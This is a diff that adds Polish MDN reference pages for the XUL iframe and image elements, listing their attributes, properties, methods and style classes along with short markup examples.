+<dl><dt> Własności </dt><dd> <a href="#p-accessible">accessible</a>, <a href="#p-contentDocument">contentDocument</a>, <a href="#p-contentWindow">contentWindow</a>, <a href="#p-docShell">docShell</a>, <a href="#p-webNavigation">webNavigation</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre>&lt;iframe src="table.php" flex="2" id="browserTable" name="table_frame"/&gt;
+</pre>
+<p>Wybór adres URL z menu
+</p>
+<pre>&lt;menulist oncommand="doNav(this);"&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="Mozilla" value="http://mozilla.org" /&gt;
+ &lt;menuitem label="Slashdot" value="http://slashdot.org"/&gt;
+ &lt;menuitem label="Sourceforge" value="http://sf.net" /&gt;
+ &lt;menuitem label="Freshmeat" value="http://freshmeat.net"/&gt;
+ &lt;/menupopup&gt;
+&lt;/menulist&gt;
+
+
+&lt;iframe id="myFrame" flex="1"/&gt;
+
+&lt;script&gt;
+function doNav(obj){
+ var url = obj.selectedItem.value;
+ // firstChild odpowiada elementowi menupopup
+ document.getElementById('myFrame').setAttribute('src', url);
+}
+&lt;/script&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><div id="a-src">
+
+<dl>
+ <dt>
+ <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code></dt>
+ <dd>
+ Typ: <i>URL</i></dd>
+ <dd>
+ Adres URL zawartości do wyświetlenia w elemencie.</dd>
+</dl>
+
+<p> </p>
+</div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-contentDocument">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/contentDocument">contentDocument</a></span></code>
+</dt><dd> Typ: <i>document</i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt dokumentu w danym elemencie.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-contentWindow">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/contentWindow">contentWindow</a></span></code></dt>
+ <dd>
+ Typ: <em>window</em></dd>
+ <dd>
+ Własność tylko do odczytu zawierająca obiekt okna w elemencie.</dd>
+</dl>
+<p></p></div>
+<div id="p-docShell">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/docShell">docShell</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIDocShell">nsIDocShell</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt <a href="pl/NsIDocShell">nsIDocShell</a> dla dokumentu.
+</dd></dl>
+
+</div>
+<div id="p-webNavigation">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/webNavigation">webNavigation</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIWebNavigation">nsIWebNavigation</a></i>
+</dd><dd> Własność tylko do odczytu zawiera obiekt <a href="pl/NsIWebNavigation">nsIWebNavigation</a> dla dokumentu. Wiele z jego metod może być wywoływanych bezpośrednio na dokumencie; są to takie metody jak <span id="m-goBack"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goBack">goBack</a></code></span> i <span id="m-goForward"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goForward">goForward</a></code></span>. Zawiera także stałe wczytywania wykorzystywane przez <span id="m-reloadWithFlags"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/reloadWithFlags">reloadWithFlags</a></code></span> i <span id="m-loadURIWithFlags"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/loadURIWithFlags">loadURIWithFlags</a></code></span>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/image/index.html b/files/pl/mozilla/tech/xul/image/index.html
new file mode 100644
index 0000000000..4d9a66b45a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/image/index.html
@@ -0,0 +1,163 @@
+---
+title: image
+slug: Mozilla/Tech/XUL/image
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/image
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Element wyświetlający obrazek, bardzo podobny do HTML-owego elementu <code>img</code>. Atrybut <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code> można zastosować do określenia adresu URL obrazka.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Dodawanie_etykiet_i_obrazk%c3%b3w">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-onerror">onerror</a>, <a href="#a-onload">onload</a>, <a href="#a-src">src</a>, <a href="#a-validate">validate</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-accessible">accessible</a>, <a href="#p-src">src</a>
+</dd></dl>
+<dl><dt> Klasy stylów
+</dt><dd> <a href="#s-alert-icon">alert-icon</a>, <a href="#s-error-icon">error-icon</a>, <a href="#s-message-icon">message-icon</a>, <a href="#s-question-icon">question-icon</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<div class="float-right"><img alt="grafika:Firefoxlogo.png"></div>
+<pre class="eval">&lt;image src='Firefoxlogo.png' width='135' height='130'/&gt;
+</pre>
+<div style="">
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-onerror">
+
+<dl>
+ <dt>
+ <code id="a-onerror"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onerror">onerror</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ To zdarzenie jest przesyłane do elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/image" title="image">image</a></code> w momencie wystąpienia błędu podczas wczytywania obrazka.</dd>
+</dl>
+</div>
+<div id="a-onload">
+
+<dl>
+ <dt>
+ <code id="a-onload"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onload">onload</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Ten uchwyt zdarzenia będzie wywołany na elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/image" title="image">image</a></code>,</dd>
+</dl>
+<pre class="eval">w momencie zakończenia wczytywania obrazka. Dzieje się tak niezależnie od tego, czy obrazek został określony przez atrybut <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code>, czy przez własność CSS <code>list-style-image</code>. Zdarzenie zostanie wywołane ponownie także przy zmianie obrazka na inny, w momencie jego wczytania. To zdarzenie nie będzie przechodziło w górę drzewa elementów w modelu bąbelkowym zdarzeń.
+</pre>
+</div>
+<div id="a-src">
+
+<dl>
+ <dt>
+ <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code></dt>
+ <dd>
+ Typ: <i>URL</i></dd>
+ <dd>
+ Adres URL zawartości do wyświetlenia w elemencie.</dd>
+</dl>
+
+<p> </p>
+</div>
+<div id="a-validate">
+
+<dl>
+ <dt>
+ <code id="a-validate"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/validate">validate</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna z poniższych wartości</i>
+ </dd>
+ <dd>
+ Atrybut ten określa, czy obrazek ma być wczytywany z pamięci podręcznej. Może być to przydatne, jeśli obrazki są wczytywane z serwera zdalnego, albo planowana jest częsta ich podmiana. Poniższe wartości są akceptowane; pominięcie tego atrybutu spowoduje zastosowanie wartości domyślnej.</dd>
+</dl>
+<ul>
+ <li><code>always</code>: Obrazek będzie zawsze sprawdzany, czy powinien być wczytany ponownie.</li>
+ <li><code>never</code>: Obrazek będzie wczytywany z pamięci podręcznej, o ile to tylko możliwe.</li>
+</ul>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-src">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/src">src</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ URL</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code>.</dd>
+</dl></div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Klasy_styl.C3.B3w" name="Klasy_styl.C3.B3w"> Klasy stylów </h3>
+<p></p><dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/alert-icon">alert-icon</a></code></dt>
+ <dd>
+ Klasa, która dodaje ikonę ostrzeżenia. Zazwyczaj wygląda jak znak wykrzyknika. Ta i inne klasy ikon może być zastosowana dla elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/image" title="image">image</a></code> lub innych mogących zawierać obrazek.</dd>
+</dl>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/error-icon">error-icon</a></code></dt>
+ <dd>
+ Klasa, która dodaje ikonę błedu. Zazwyczaj będzie to czerwona ikona z "X".</dd>
+</dl>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/message-icon">message-icon</a></code></dt>
+ <dd>
+ Klasa, która dodaje ikonę pudełka wiadomości.</dd>
+</dl>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/question-icon">question-icon</a></code></dt>
+ <dd>
+ Klasa dodaje ikonę pytania, która zazwyczaj wygląda jak znak zapytania.</dd>
+</dl>
+<p></p>
